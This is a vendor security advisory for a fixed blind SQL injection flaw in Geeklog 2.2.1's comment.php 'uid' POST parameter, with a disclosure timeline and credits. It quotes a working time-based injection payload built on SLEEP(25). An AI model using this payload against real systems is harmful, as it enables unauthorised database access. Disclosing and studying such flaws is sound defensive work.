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Information
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Advisory by Netsparker
Name: Blind SQL Injection Vulnerability in Geeklog
Affected Software: Geeklog
Affected Versions: 2.2.1
Vendor Homepage: https://www.geeklog.net/
Vulnerability Type: Blind SQL Injection
Severity: Critical
Status: Fixed
CVSS Score (3.0): 8.6 (High)
Netsparker Advisory Reference: NS-20-002

Technical Details
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Blind SQL Injection

URL  : http://sectestapp/geeklog-2.2.1/public_html/comment.php#commenteditform
Parameter Name  : uid
Parameter Type  : POST
Attack Pattern  : 2+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

For more information on Blind SQL Injection vulnerabilities read the article How Blind SQL Injection Works.

Advisory Timeline
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11th March 2020 - First Contact
20th April 2020 - Vendor Fixed
27th April 2020 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing the Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be highly accurate in reporting vulnerabilities.